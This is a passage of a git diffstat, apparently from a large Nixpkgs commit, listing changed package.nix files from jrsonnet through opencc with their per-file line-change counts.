 pkgs/by-name/jr/jrsonnet/package.nix          |  23 +-
 pkgs/by-name/js/json-glib/package.nix         |  42 +-
 pkgs/by-name/js/jsoncpp/package.nix           |  27 +-
 pkgs/by-name/js/jsonnet/package.nix           |  15 +-
 pkgs/by-name/ju/juce/package.nix              |  47 +-
 pkgs/by-name/ju/jujutsu/package.nix           |   3 +-
 pkgs/by-name/ju/julius/package.nix            |  17 +-
 pkgs/by-name/ju/jumpy/package.nix             |  35 +-
 pkgs/by-name/ju/just/package.nix              |  18 +-
 pkgs/by-name/ju/justbuild/package.nix         |  27 +-
 .../by-name/ka/kafka-delta-ingest/package.nix |  11 +-
 pkgs/by-name/ka/kahip/package.nix             |  13 +-
 pkgs/by-name/ka/kana/package.nix              |  19 +-
 pkgs/by-name/ka/kando/package.nix             |  19 +-
 pkgs/by-name/ka/kanidm/generic.nix            |  96 +-
 pkgs/by-name/ka/kapacitor/package.nix         |  19 +-
 pkgs/by-name/ka/katago/package.nix            | 114 ++-
 pkgs/by-name/ka/katawa-shoujo/package.nix     |  35 +-
 pkgs/by-name/kb/kbd/package.nix               |  19 +-
 pkgs/by-name/kb/kbs2/package.nix              |  24 +-
 pkgs/by-name/ke/kea/package.nix               |  34 +-
 pkgs/by-name/ke/keepalived/package.nix        |  34 +-
 pkgs/by-name/ke/keepassxc/package.nix         |  71 +-
 pkgs/by-name/ke/kew/package.nix               |  13 +-
 pkgs/by-name/ke/kexec-tools/package.nix       |   3 +-
 pkgs/by-name/ke/keycloak/package.nix          |  47 +-
 pkgs/by-name/ke/keydb/package.nix             |  49 +-
 .../package.nix                               |  31 +-
 pkgs/by-name/ke/keystone/package.nix          |  19 +-
 pkgs/by-name/ki/ki/package.nix                |  25 +-
 pkgs/by-name/ki/kid3/package.nix              |  51 +-
 pkgs/by-name/ki/kismet/package.nix            | 103 +-
 pkgs/by-name/ki/kitsas/package.nix            |  21 +-
 pkgs/by-name/ki/kitty/package.nix             | 131 ++-
 pkgs/by-name/kl/klipper-estimator/package.nix |  11 +-
 pkgs/by-name/km/kmscube/package.nix           |  21 +-
 pkgs/by-name/km/kmsxx/package.nix             |  24 +-
 pkgs/by-name/kn/knot-dns/package.nix          |  88 +-
 pkgs/by-name/kn/knxd/package.nix              |  15 +-
 pkgs/by-name/ko/koboldcpp/package.nix         |  31 +-
 pkgs/by-name/ko/kohighlights/package.nix      |  13 +-
 pkgs/by-name/ko/koji/package.nix              |   3 +-
 pkgs/by-name/ko/komac/package.nix             |  13 +-
 pkgs/by-name/ko/koodo-reader/package.nix      |  21 +-
 pkgs/by-name/kr/kraft/package.nix             |  13 +-
 pkgs/by-name/kr/krunker/package.nix           |   6 +-
 pkgs/by-name/ks/ksmbd-tools/package.nix       |   3 +-
 pkgs/by-name/ks/kstart/package.nix            |   3 +-
 pkgs/by-name/kv/kvmtool/package.nix           |  17 +-
 pkgs/by-name/ky/kyua/package.nix              |  85 +-
 pkgs/by-name/la/ladybird/package.nix          |  82 +-
 pkgs/by-name/la/lagrange/package.nix          |  31 +-
 pkgs/by-name/la/lammps/package.nix            |  30 +-
 pkgs/by-name/la/lapack-reference/package.nix  |  29 +-
 pkgs/by-name/la/laszip/package.nix            |  13 +-
 pkgs/by-name/la/laze/package.nix              |  21 +-
 pkgs/by-name/lb/lbdb/package.nix              |  17 +-
 pkgs/by-name/lc/lc0/package.nix               |  17 +-
 pkgs/by-name/lc/lcevcdec/package.nix          |  29 +-
 pkgs/by-name/lc/lcov/package.nix              |   3 +-
 pkgs/by-name/ld/ldb/package.nix               |  19 +-
 pkgs/by-name/ld/ldc/package.nix               |  62 +-
 pkgs/by-name/ld/ldmud/package.nix             |  29 +-
 pkgs/by-name/ld/ldns/package.nix              |  23 +-
 pkgs/by-name/le/ledger/package.nix            |  46 +-
 pkgs/by-name/le/ledger2beancount/package.nix  |   3 +-
 .../le/legends-of-equestria/package.nix       |  76 +-
 pkgs/by-name/le/lenmus/package.nix            |  15 +-
 pkgs/by-name/le/lerc/package.nix              |  31 +-
 pkgs/by-name/lg/lgogdownloader/package.nix    |  30 +-
 pkgs/by-name/li/lib2geom/package.nix          |  15 +-
 pkgs/by-name/li/lib3mf/package.nix            |   3 +-
 pkgs/by-name/li/libaccounts-glib/package.nix  |  31 +-
 pkgs/by-name/li/libadwaita/package.nix        |  26 +-
 pkgs/by-name/li/libaio/package.nix            |   3 +-
 pkgs/by-name/li/libamplsolver/package.nix     |  29 +-
 pkgs/by-name/li/libaom/package.nix            |  69 +-
 pkgs/by-name/li/libapparmor/package.nix       |  38 +-
 pkgs/by-name/li/libappindicator/package.nix   |  35 +-
 pkgs/by-name/li/libarchive/package.nix        |  62 +-
 pkgs/by-name/li/libargon2/package.nix         |  23 +-
 pkgs/by-name/li/libass/package.nix            |  19 +-
 pkgs/by-name/li/libavif/package.nix           |  23 +-
 pkgs/by-name/li/libb64/package.nix            |  65 +-
 pkgs/by-name/li/libbladeRF/package.nix        |  30 +-
 pkgs/by-name/li/libbluray/package.nix         |  26 +-
 pkgs/by-name/li/libcaca/package.nix           |  36 +-
 pkgs/by-name/li/libcamera/package.nix         |  52 +-
 pkgs/by-name/li/libcanberra/package.nix       |  79 +-
 pkgs/by-name/li/libcap/package.nix            |  94 +-
 pkgs/by-name/li/libcdio-paranoia/package.nix  |  11 +-
 pkgs/by-name/li/libcdio/package.nix           |  71 +-
 pkgs/by-name/li/libchamplain/package.nix      |  28 +-
 pkgs/by-name/li/libcloudproviders/package.nix |  25 +-
 pkgs/by-name/li/libdaemon/package.nix         |  13 +-
 pkgs/by-name/li/libdazzle/package.nix         |  39 +-
 pkgs/by-name/li/libdbiDrivers/package.nix     |  50 +-
 pkgs/by-name/li/libdbusmenu/package.nix       |  20 +-
 pkgs/by-name/li/libdeflate/package.nix        |   3 +-
 pkgs/by-name/li/libdeltachat/package.nix      |  38 +-
 pkgs/by-name/li/libdicom/package.nix          |   3 +-
 pkgs/by-name/li/libdmapsharing/package.nix    |  61 +-
 pkgs/by-name/li/libdrm/package.nix            |  36 +-
 pkgs/by-name/li/libepoxy/package.nix          |  25 +-
 pkgs/by-name/li/libevent/package.nix          |   9 +-
 pkgs/by-name/li/libewf-legacy/package.nix     |   3 +-
 pkgs/by-name/li/libewf/package.nix            |   3 +-
 pkgs/by-name/li/libexecinfo/package.nix       |  21 +-
 pkgs/by-name/li/libexsid/package.nix          |   3 +-
 pkgs/by-name/li/libfaketime/package.nix       |  35 +-
 pkgs/by-name/li/libff/package.nix             |  13 +-
 pkgs/by-name/li/libfido2/package.nix          |  42 +-
 pkgs/by-name/li/libfilezilla/package.nix      |  19 +-
 pkgs/by-name/li/libfixposix/package.nix       |   3 +-
 pkgs/by-name/li/libfm/package.nix             |  12 +-
 pkgs/by-name/li/libftdi/package.nix           |   3 +-
 pkgs/by-name/li/libftdi1/package.nix          |  57 +-
 pkgs/by-name/li/libgcrypt/package.nix         |  55 +-
 pkgs/by-name/li/libgedit-amtk/package.nix     |  23 +-
 pkgs/by-name/li/libgedit-gfls/package.nix     |  23 +-
 pkgs/by-name/li/libgedit-tepl/package.nix     |  23 +-
 pkgs/by-name/li/libgee/package.nix            |  17 +-
 pkgs/by-name/li/libgit2/package.nix           |  36 +-
 pkgs/by-name/li/libgnt/package.nix            |  30 +-
 pkgs/by-name/li/libgpiod_1/package.nix        |  16 +-
 pkgs/by-name/li/libgudev/package.nix          |  21 +-
 pkgs/by-name/li/libguestfs/package.nix        |  55 +-
 pkgs/by-name/li/libgweather/package.nix       |  45 +-
 pkgs/by-name/li/libgxps/package.nix           |  13 +-
 pkgs/by-name/li/libhugetlbfs/package.nix      |  29 +-
 pkgs/by-name/li/libical/package.nix           |  54 +-
 pkgs/by-name/li/libieee1284/package.nix       |  19 +-
 pkgs/by-name/li/libinfinity/package.nix       |  23 +-
 pkgs/by-name/li/libisoburn/package.nix        |  27 +-
 pkgs/by-name/li/libjpeg_turbo/package.nix     |  73 +-
 pkgs/by-name/li/libjxl/package.nix            |  59 +-
 pkgs/by-name/li/libkrun/package.nix           |  45 +-
 pkgs/by-name/li/libkrunfw/package.nix         |  13 +-
 pkgs/by-name/li/libks/package.nix             |   9 +-
 pkgs/by-name/li/liblangtag/package.nix        |  13 +-
 pkgs/by-name/li/libloot/package.nix           |  24 +-
 pkgs/by-name/li/liblouis/package.nix          |  17 +-
 pkgs/by-name/li/libmad/package.nix            |  67 +-
 pkgs/by-name/li/libmanette/package.nix        |  49 +-
 pkgs/by-name/li/libmbim/package.nix           |  28 +-
 pkgs/by-name/li/libmediaart/package.nix       |  27 +-
 pkgs/by-name/li/libmediainfo/package.nix      |  13 +-
 pkgs/by-name/li/libmpdclient/package.nix      |  15 +-
 pkgs/by-name/li/libnbd/package.nix            |  25 +-
 pkgs/by-name/li/libnfc-nci/package.nix        |  13 +-
 pkgs/by-name/li/libngspice/package.nix        |  23 +-
 pkgs/by-name/li/libnice/package.nix           |   3 +-
 pkgs/by-name/li/libnick/package.nix           |  36 +-
 pkgs/by-name/li/libnl/package.nix             |   6 +-
 pkgs/by-name/li/libnma/package.nix            |  58 +-
 pkgs/by-name/li/libnotify/package.nix         |  23 +-
 pkgs/by-name/li/libofx/package.nix            |   3 +-
 pkgs/by-name/li/libopenglrecorder/package.nix |  19 +-
 pkgs/by-name/li/libopenmpt/package.nix        |  25 +-
 pkgs/by-name/li/liboping/package.nix          |   3 +-
 pkgs/by-name/li/liborcus/package.nix          |  27 +-
 pkgs/by-name/li/libosinfo/package.nix         |   3 +-
 pkgs/by-name/li/libossp_uuid/package.nix      |   3 +-
 pkgs/by-name/li/libpcap/package.nix           |  37 +-
 pkgs/by-name/li/libpciaccess/package.nix      |  13 +-
 pkgs/by-name/li/libpkgconf/package.nix        |  35 +-
 pkgs/by-name/li/libplacebo/package.nix        |  54 +-
 pkgs/by-name/li/libplacebo_5/package.nix      |  19 +-
 pkgs/by-name/li/libplist/package.nix          |  16 +-
 pkgs/by-name/li/libportal/package.nix         |  57 +-
 pkgs/by-name/li/libpostal/package.nix         |   3 +-
 pkgs/by-name/li/libproxy/package.nix          |  97 +-
 pkgs/by-name/li/libqalculate/package.nix      |  19 +-
 pkgs/by-name/li/libqmi/package.nix            |  68 +-
 pkgs/by-name/li/libqrtr-glib/package.nix      |  25 +-
 pkgs/by-name/li/librandombytes/package.nix    |   3 +-
 pkgs/by-name/li/librashader/package.nix       |  47 +-
 pkgs/by-name/li/libre/package.nix             |  15 +-
 pkgs/by-name/li/libredirect/package.nix       |  57 +-
 pkgs/by-name/li/libredwg/package.nix          |  14 +-
 pkgs/by-name/li/librem/package.nix            |  15 +-
 pkgs/by-name/li/libresample/package.nix       |  17 +-
 pkgs/by-name/li/libreswan/package.nix         |   3 +-
 pkgs/by-name/li/librime/package.nix           |   3 +-
 pkgs/by-name/li/librsvg/package.nix           |  75 +-
 pkgs/by-name/li/librum/package.nix            |  32 +-
 pkgs/by-name/li/libsbml/package.nix           |   9 +-
 pkgs/by-name/li/libsecret/package.nix         |  92 +-
 pkgs/by-name/li/libselinux/package.nix        |  85 +-
 pkgs/by-name/li/libsemanage/package.nix       |  25 +-
 pkgs/by-name/li/libsidplayfp/package.nix      |  21 +-
 pkgs/by-name/li/libsignal-ffi/package.nix     |   3 +-
 pkgs/by-name/li/libsnark/package.nix          |   3 +-
 pkgs/by-name/li/libsndfile/package.nix        |   3 +-
 pkgs/by-name/li/libsolv/package.nix           |  36 +-
 pkgs/by-name/li/libsoundio/package.nix        |  13 +-
 pkgs/by-name/li/libspatialite/package.nix     |  27 +-
 pkgs/by-name/li/libspnav/package.nix          |  17 +-
 pkgs/by-name/li/libstemmer/package.nix        |  15 +-
 pkgs/by-name/li/libtapi/package.nix           |  57 +-
 pkgs/by-name/li/libtheora/package.nix         |  19 +-
 pkgs/by-name/li/libticalcs2/package.nix       |  23 +-
 pkgs/by-name/li/libticonv/package.nix         |   3 +-
 pkgs/by-name/li/libtiff/package.nix           |  13 +-
 pkgs/by-name/li/libtoxcore/package.nix        |  22 +-
 pkgs/by-name/li/libui/package.nix             |  41 +-
 pkgs/by-name/li/libusb1/package.nix           |   6 +-
 pkgs/by-name/li/libusbsio/package.nix         |  26 +-
 pkgs/by-name/li/libuv/package.nix             | 191 ++--
 pkgs/by-name/li/libvgm/package.nix            |  94 +-
 pkgs/by-name/li/libvirt-glib/package.nix      |  49 +-
 pkgs/by-name/li/libvirt/package.nix           | 275 +++---
 pkgs/by-name/li/libvmi/package.nix            |  17 +-
 pkgs/by-name/li/libvncserver/package.nix      |  19 +-
 pkgs/by-name/li/libvpx/package.nix            | 135 ++-
 pkgs/by-name/li/libwebsockets/package.nix     |  37 +-
 pkgs/by-name/li/libx86/package.nix            |   3 +-
 pkgs/by-name/li/libxisf/package.nix           |   3 +-
 pkgs/by-name/li/libxkbcommon_8/package.nix    |  22 +-
 pkgs/by-name/li/libxklavier/package.nix       |  22 +-
 pkgs/by-name/li/libxmlb/package.nix           |  46 +-
 pkgs/by-name/li/libyafaray/package.nix        |   3 +-
 pkgs/by-name/li/libzakalwe/package.nix        |  17 +-
 pkgs/by-name/li/libzbc/package.nix            |   3 +-
 pkgs/by-name/li/libzbd/package.nix            |   3 +-
 pkgs/by-name/li/liferea/package.nix           |  43 +-
 pkgs/by-name/li/lightgbm/package.nix          | 116 +--
 pkgs/by-name/li/lighthouse/package.nix        |  56 +-
 pkgs/by-name/li/lighttpd/package.nix          |  60 +-
 pkgs/by-name/li/lilv/package.nix              |  35 +-
 pkgs/by-name/li/limine/package.nix            |  19 +-
 pkgs/by-name/li/limo/package.nix              |  50 +-
 pkgs/by-name/li/linbox/package.nix            |  31 +-
 pkgs/by-name/li/linenoise/package.nix         |   3 +-
 pkgs/by-name/li/lingot/package.nix            |   3 +-
 pkgs/by-name/li/links2/package.nix            |  52 +-
 pkgs/by-name/li/linux-pam/package.nix         |   6 +-
 pkgs/by-name/li/linuxdoc-tools/package.nix    |   3 +-
 pkgs/by-name/li/listenbrainz-mpd/package.nix  |  38 +-
 pkgs/by-name/li/littlegptracker/package.nix   |   9 +-
 pkgs/by-name/li/live555/package.nix           |  41 +-
 pkgs/by-name/li/livekit-libwebrtc/package.nix | 316 +++---
 pkgs/by-name/ll/llama-cpp/package.nix         |  99 +-
 pkgs/by-name/ll/lldpd/package.nix             |  25 +-
 pkgs/by-name/ll/llpp/package.nix              |  62 +-
 pkgs/by-name/lm/lm_sensors/package.nix        |  21 +-
 pkgs/by-name/lm/lmdb/package.nix              |  54 +-
 pkgs/by-name/ln/lnav/package.nix              |  50 +-
 pkgs/by-name/lo/local-ai/package.nix          | 128 ++-
 pkgs/by-name/lo/localsearch/package.nix       | 125 ++-
 pkgs/by-name/lo/logisim-evolution/package.nix |  17 +-
 pkgs/by-name/lo/logisim/package.nix           |  17 +-
 pkgs/by-name/lo/logseq/package.nix            |  51 +-
 pkgs/by-name/lo/longview/package.nix          |  37 +-
 .../lo/looking-glass-client/package.nix       |  88 +-
 pkgs/by-name/lo/lowdown/package.nix           |  22 +-
 pkgs/by-name/lo/lowfi/package.nix             |  13 +-
 pkgs/by-name/lr/lrcget/package.nix            |  27 +-
 pkgs/by-name/lr/lrzip/package.nix             |   3 +-
 pkgs/by-name/ls/lsd2dsl/package.nix           |   3 +-
 pkgs/by-name/ls/lshw/package.nix              |  13 +-
 pkgs/by-name/ls/lsof/package.nix              |  25 +-
 .../lu/lua-language-server/package.nix        |  98 +-
 pkgs/by-name/lu/luakit/package.nix            |  31 +-
 pkgs/by-name/lu/luanti/package.nix            |  73 +-
 pkgs/by-name/lu/ludusavi/package.nix          |  35 +-
 pkgs/by-name/lu/lunarvim/package.nix          |  49 +-
 pkgs/by-name/lv/lv2/package.nix               |  33 +-
 pkgs/by-name/ly/lynx/package.nix              |   6 +-
 .../fastdeploy-ppocr.nix                      |  45 +-
 .../ma/maa-assistant-arknights/package.nix    |  36 +-
 pkgs/by-name/ma/maa-cli/package.nix           |  45 +-
 pkgs/by-name/ma/macskk/package.nix            |   3 +-
 pkgs/by-name/ma/maigret/package.nix           |  29 +-
 pkgs/by-name/ma/man-db/package.nix            |  41 +-
 pkgs/by-name/ma/manifest-tool/package.nix     |  21 +-
 pkgs/by-name/ma/mapcache/package.nix          |  17 +-
 pkgs/by-name/ma/mapserver/package.nix         |  20 +-
 pkgs/by-name/ma/marktext/package.nix          |  29 +-
 pkgs/by-name/ma/mars-mips/package.nix         |  19 +-
 pkgs/by-name/ma/master_me/package.nix         |  19 +-
 pkgs/by-name/ma/materialize/package.nix       |  17 +-
 .../matrix-authentication-service/package.nix |   3 +-
 .../ma/matrix-continuwuity/package.nix        |  65 +-
 .../ma/matrix-synapse-unwrapped/package.nix   |  30 +-
 .../plugins/rendezvous.nix                    |  15 +-
 .../plugins/s3-storage-provider.nix           |  19 +-
 pkgs/by-name/ma/matrix-synapse/package.nix    |  11 +-
 pkgs/by-name/ma/mattermost/package.nix        |  17 +-
 pkgs/by-name/ma/mattermost/tests.nix          | 211 ++--
 pkgs/by-name/ma/maude/package.nix             |  13 +-
 pkgs/by-name/ma/mautrix-signal/package.nix    |  17 +-
 pkgs/by-name/ma/maven/build-maven-package.nix |  52 +-
 pkgs/by-name/mb/mblaze/package.nix            |  57 +-
 pkgs/by-name/mc/mc/package.nix                |  50 +-
 .../mc/mcpelauncher-client/package.nix        |  60 +-
 pkgs/by-name/md/mdadm4/package.nix            |  25 +-
 pkgs/by-name/me/mednafen/package.nix          |  41 +-
 pkgs/by-name/me/megacmd/package.nix           |   3 +-
 pkgs/by-name/me/megatools/package.nix         |   3 +-
 pkgs/by-name/me/meld/package.nix              |   3 +-
 pkgs/by-name/me/melonDS/package.nix           |  29 +-
 pkgs/by-name/me/memray/package.nix            |   3 +-
 pkgs/by-name/me/mercurial/package.nix         |  23 +-
 pkgs/by-name/me/merkaartor/package.nix        |  25 +-
 pkgs/by-name/me/meshoptimizer/package.nix     |   3 +-
 pkgs/by-name/me/meson/package.nix             |  19 +-
 pkgs/by-name/me/mesonlsp/package.nix          |  23 +-
 pkgs/by-name/mf/mfcl5750dw/package.nix        |  81 +-
 pkgs/by-name/mg/mgba/package.nix              |   3 +-
 pkgs/by-name/mi/microsoft-edge/package.nix    | 131 ++-
 pkgs/by-name/mi/midivisualizer/package.nix    |  23 +-
 pkgs/by-name/mi/miktex/package.nix            |  72 +-
 pkgs/by-name/mi/milkytracker/package.nix      |  23 +-
 pkgs/by-name/mi/mim-solvers/package.nix       |  24 +-
 pkgs/by-name/mi/mimalloc/package.nix          |  11 +-
 pkgs/by-name/mi/mimetic/package.nix           |   3 +-
 pkgs/by-name/mi/mimic/package.nix             |   3 +-
 pkgs/by-name/mi/mimir/package.nix             |  29 +-
 pkgs/by-name/mi/mindustry/package.nix         | 107 +--
 pkgs/by-name/mi/minicom/package.nix           |  11 +-
 pkgs/by-name/mi/minimacy/package.nix          |  19 +-
 pkgs/by-name/mi/minizip-ng/package.nix        |  23 +-
 pkgs/by-name/mi/miracle-wm/package.nix        |  21 +-
 pkgs/by-name/mi/miraclecast/package.nix       |  15 +-
 pkgs/by-name/mi/mirakurun/package.nix         |   3 +-
 pkgs/by-name/mi/mise/package.nix              |  19 +-
 pkgs/by-name/mi/misskey/package.nix           |   3 +-
 pkgs/by-name/mi/mistral-rs/package.nix        |  95 +-
 pkgs/by-name/mi/mitm-cache/fetch.nix          |  59 +-
 pkgs/by-name/mj/mjpegtools/package.nix        |  23 +-
 pkgs/by-name/mk/mkcal/package.nix             |  23 +-
 pkgs/by-name/mk/mkl/package.nix               | 124 +--
 pkgs/by-name/mk/mkp224o/package.nix           |  53 +-
 pkgs/by-name/mk/mktorrent/package.nix         |  15 +-
 pkgs/by-name/mk/mkvtoolnix/package.nix        |  48 +-
 pkgs/by-name/ml/mlflow-server/package.nix     |  14 +-
 pkgs/by-name/ml/mlt/package.nix               | 135 ++-
 pkgs/by-name/ml/mlterm/package.nix            | 148 ++-
 pkgs/by-name/ml/mlx42/package.nix             |  15 +-
 pkgs/by-name/mm/mmex/package.nix              |  27 +-
 pkgs/by-name/mm/mmseqs2/package.nix           |  44 +-
 pkgs/by-name/mo/moc/package.nix               |  70 +-
 pkgs/by-name/mo/modemmanager/package.nix      |  60 +-
 .../mo/modrinth-app-unwrapped/package.nix     |   3 +-
 .../mo/modsecurity_standalone/package.nix     |   3 +-
 pkgs/by-name/mo/mold/package.nix              |  17 +-
 pkgs/by-name/mo/monado/package.nix            |  93 +-
 pkgs/by-name/mo/monero-cli/package.nix        |  66 +-
 pkgs/by-name/mo/monero-gui/package.nix        |  72 +-
 pkgs/by-name/mo/moneydance/package.nix        |  19 +-
 pkgs/by-name/mo/mongodb-ce/package.nix        |  31 +-
 pkgs/by-name/mo/mongoose/package.nix          |  13 +-
 pkgs/by-name/mo/monit/package.nix             |  52 +-
 pkgs/by-name/mo/monkeysphere/package.nix      |  39 +-
 pkgs/by-name/mo/monophony/package.nix         |  21 +-
 pkgs/by-name/mo/moonlight-qt/package.nix      |  41 +-
 pkgs/by-name/mo/mosh/package.nix              |   3 +-
 pkgs/by-name/mo/moshi/package.nix             |  62 +-
 pkgs/by-name/mo/mosquitto/package.nix         |   3 +-
 pkgs/by-name/mo/motif/package.nix             |  51 +-
 pkgs/by-name/mo/mozc/package.nix              |  13 +-
 pkgs/by-name/mo/mozphab/package.nix           |  25 +-
 pkgs/by-name/mp/mp3blaster/package.nix        |   3 +-
 pkgs/by-name/mp/mpb/package.nix               |   3 +-
 pkgs/by-name/mp/mpc/package.nix               |   3 +-
 pkgs/by-name/mp/mpdscribble/package.nix       |   3 +-
 pkgs/by-name/mp/mpop/package.nix              |   3 +-
 pkgs/by-name/mp/mpris-scrobbler/package.nix   |  19 +-
 pkgs/by-name/mq/mqtt-explorer/package.nix     |   3 +-
 .../msbuild-structured-log-viewer/package.nix |  29 +-
 pkgs/by-name/ms/msgpack-cxx/package.nix       |   3 +-
 pkgs/by-name/ms/msolve/package.nix            |  17 +-
 pkgs/by-name/ms/mstflint/package.nix          |  58 +-
 pkgs/by-name/mt/mtdutils/package.nix          |   3 +-
 pkgs/by-name/mu/mum/package.nix               |   3 +-
 pkgs/by-name/mu/mumps/package.nix             |  24 +-
 pkgs/by-name/mu/muon/package.nix              |  30 +-
 pkgs/by-name/mu/mupdf/package.nix             | 202 ++--
 .../mu/muse-sounds-manager/package.nix        |   3 +-
 pkgs/by-name/mu/musikcube/package.nix         |  45 +-
 pkgs/by-name/mu/musl/package.nix              |  70 +-
 pkgs/by-name/mu/mutt/package.nix              |  77 +-
 pkgs/by-name/mu/muvm/package.nix              |  26 +-
 pkgs/by-name/mv/mvapich/package.nix           |  74 +-
 pkgs/by-name/mv/mvfst/package.nix             |  23 +-
 pkgs/by-name/mv/mvnd/package.nix              |  41 +-
 pkgs/by-name/mx/mxnet/package.nix             |  23 +-
 pkgs/by-name/my/mya/package.nix               |  17 +-
 pkgs/by-name/my/mydumper/package.nix          |  31 +-
 pkgs/by-name/my/mygui/package.nix             |  33 +-
 pkgs/by-name/my/mysql84/package.nix           |  52 +-
 pkgs/by-name/n8/n8n/package.nix               |  21 +-
 pkgs/by-name/na/naja/package.nix              |  21 +-
 pkgs/by-name/na/namecoind/package.nix         |  59 +-
 pkgs/by-name/na/nano/package.nix              |  17 +-
 pkgs/by-name/na/nanoboyadvance/package.nix    |  23 +-
 pkgs/by-name/na/narsil/package.nix            |  19 +-
 pkgs/by-name/na/nasc/package.nix              |  23 +-
 pkgs/by-name/nb/nbd/package.nix               |  17 +-
 pkgs/by-name/nb/nbench/package.nix            |  15 +-
 pkgs/by-name/nb/nbstripout/package.nix        |  17 +-
 pkgs/by-name/nc/ncmpcpp/package.nix           |  40 +-
 pkgs/by-name/nc/ncnn/package.nix              |  25 +-
 pkgs/by-name/nc/ncspot/package.nix            |  21 +-
 pkgs/by-name/nd/ndcurves/package.nix          |  55 +-
 pkgs/by-name/ne/neko/package.nix              |   3 +-
 pkgs/by-name/ne/neomutt/package.nix           |  91 +-
 pkgs/by-name/ne/neon/package.nix              |   3 +-
 pkgs/by-name/ne/neovide/package.nix           |  19 +-
 .../ne/neovim-qt-unwrapped/package.nix        |  21 +-
 pkgs/by-name/ne/neovim-unwrapped/package.nix  | 109 ++-
 pkgs/by-name/ne/net-snmp/package.nix          |   3 +-
 pkgs/by-name/ne/netcdf/package.nix            |  44 +-
 .../ne/netease-cloud-music-gtk/package.nix    |  27 +-
 pkgs/by-name/ne/netgen/package.nix            |  38 +-
 pkgs/by-name/ne/netlify-cli/test.nix          |  15 +-
 pkgs/by-name/ne/netpbm/package.nix            |  66 +-
 pkgs/by-name/ne/netrw/package.nix             |   3 +-
 .../ne/networkmanager-fortisslvpn/package.nix |  27 +-
 .../ne/networkmanager-iodine/package.nix      |  21 +-
 .../ne/networkmanager-l2tp/package.nix        |  44 +-
 .../ne/networkmanager-openconnect/package.nix |  29 +-
 .../ne/networkmanager-openvpn/package.nix     |  23 +-
 .../ne/networkmanager-sstp/package.nix        |  46 +-
 .../ne/networkmanager-vpnc/package.nix        |  23 +-
 pkgs/by-name/ne/neuron/package.nix            |  60 +-
 pkgs/by-name/ne/neverest/package.nix          |   3 +-
 pkgs/by-name/ne/newsboat/package.nix          |  61 +-
 pkgs/by-name/ne/newsflash/package.nix         |  41 +-
 pkgs/by-name/ne/newt/package.nix              |  23 +-
 .../ne/nextcloud-talk-desktop/package.nix     |  45 +-
 pkgs/by-name/ne/nextpnr/package.nix           |  18 +-
 pkgs/by-name/ne/nexusmods-app/package.nix     |  29 +-
 pkgs/by-name/ne/nezha/package.nix             |  27 +-
 pkgs/by-name/nf/nfd/package.nix               |  18 +-
 pkgs/by-name/nf/nfs-utils/package.nix         |  61 +-
 pkgs/by-name/nh/nheko/package.nix             |  59 +-
 pkgs/by-name/ni/nickel/package.nix            |  15 +-
 pkgs/by-name/ni/nim-2_2/package.nix           |  49 +-
 pkgs/by-name/ni/nim-unwrapped-2_2/package.nix |  15 +-
 pkgs/by-name/ni/ninja/package.nix             |  93 +-
 pkgs/by-name/ni/niri/package.nix              |  64 +-
 pkgs/by-name/ni/nix-doc/package.nix           |  17 +-
 pkgs/by-name/ni/nix-template/package.nix      |  21 +-
 pkgs/by-name/ni/nix-top/package.nix           |  27 +-
 pkgs/by-name/ni/nix-unit/package.nix          |   3 +-
 pkgs/by-name/ni/nix-weather/package.nix       |  15 +-
 pkgs/by-name/ni/nixpkgs-review/package.nix    |  26 +-
 pkgs/by-name/ni/nixtract/package.nix          |  11 +-
 pkgs/by-name/nl/nlohmann_json/package.nix     |   3 +-
 pkgs/by-name/nl/nlopt/package.nix             |  64 +-
 pkgs/by-name/nn/nng/package.nix               |  16 +-
 pkgs/by-name/nn/nnn/package.nix               |  28 +-
 .../no/node-problem-detector/package.nix      |   3 +-
 pkgs/by-name/no/nodehun/package.nix           |   3 +-
 pkgs/by-name/no/nomacs/package.nix            |  44 +-
 pkgs/by-name/no/normcap/package.nix           | 224 +++--
 pkgs/by-name/no/nostr-rs-relay/package.nix    |  11 +-
 pkgs/by-name/no/notcurses/package.nix         |  17 +-
 pkgs/by-name/no/notifymuch/package.nix        |  17 +-
 pkgs/by-name/no/noto-fonts/package.nix        |  71 +-
 pkgs/by-name/no/novops/package.nix            |  13 +-
 pkgs/by-name/np/np2kai/package.nix            |  42 +-
 pkgs/by-name/ns/nsis/package.nix              |   3 +-
 pkgs/by-name/ns/nspr/package.nix              |  18 +-
 pkgs/by-name/ns/nsxiv/package.nix             |   3 +-
 pkgs/by-name/nt/ntbtls/package.nix            |   3 +-
 pkgs/by-name/nt/ntfs3g/package.nix            |  52 +-
 pkgs/by-name/nt/ntl/package.nix               |  37 +-
 pkgs/by-name/nt/ntp/package.nix               |  20 +-
 pkgs/by-name/nu/nulloy/package.nix            |  25 +-
 pkgs/by-name/nv/nvc/package.nix               |  19 +-
 .../nv/nvidia-container-toolkit/package.nix   |  29 +-
 .../nv/nvidia-texture-tools/package.nix       |  21 +-
 pkgs/by-name/nw/nwg-displays/package.nix      |  25 +-
 pkgs/by-name/nx/nxengine-evo/package.nix      |  27 +-
 pkgs/by-name/nz/nzportable/fteqw.nix          |  90 +-
 pkgs/by-name/oc/ocl-icd/package.nix           |  15 +-
 pkgs/by-name/oc/ocrodjvu/package.nix          |  11 +-
 .../by-name/oc/ocsinventory-agent/package.nix |  31 +-
 pkgs/by-name/oc/octoprint/package.nix         |   3 +-
 pkgs/by-name/oc/octopus/package.nix           |   3 +-
 pkgs/by-name/oc/oculante/package.nix          |  29 +-
 pkgs/by-name/od/odamex/package.nix            |  37 +-
 pkgs/by-name/of/offpunk/package.nix           |  33 +-
 pkgs/by-name/of/offrss/package.nix            |  34 +-
 pkgs/by-name/oi/oils-for-unix/package.nix     |  15 +-
 pkgs/by-name/ol/ollama/package.nix            |  87 +-
 pkgs/by-name/ol/olm/package.nix               |  23 +-
 pkgs/by-name/om/ombi/package.nix              |   9 +-
 pkgs/by-name/om/omxplayer/package.nix         |  85 +-
 pkgs/by-name/on/onboard/package.nix           |   3 +-
 pkgs/by-name/on/onedrive/package.nix          |   3 +-
 pkgs/by-name/on/onefetch/package.nix          |  11 +-
 pkgs/by-name/on/onionshare/package.nix        |  15 +-
 pkgs/by-name/on/onnxruntime/package.nix       | 222 +++--
 pkgs/by-name/op/open-policy-agent/package.nix |  27 +-
 pkgs/by-name/op/open-vm-tools/package.nix     |  64 +-
 pkgs/by-name/op/open62541/package.nix         |  54 +-
 pkgs/by-name/op/openalSoft/package.nix        |  23 +-
 .../op/openapi-python-client/package.nix      |  13 +-
 pkgs/by-name/op/opencc/package.nix            |  15 +-
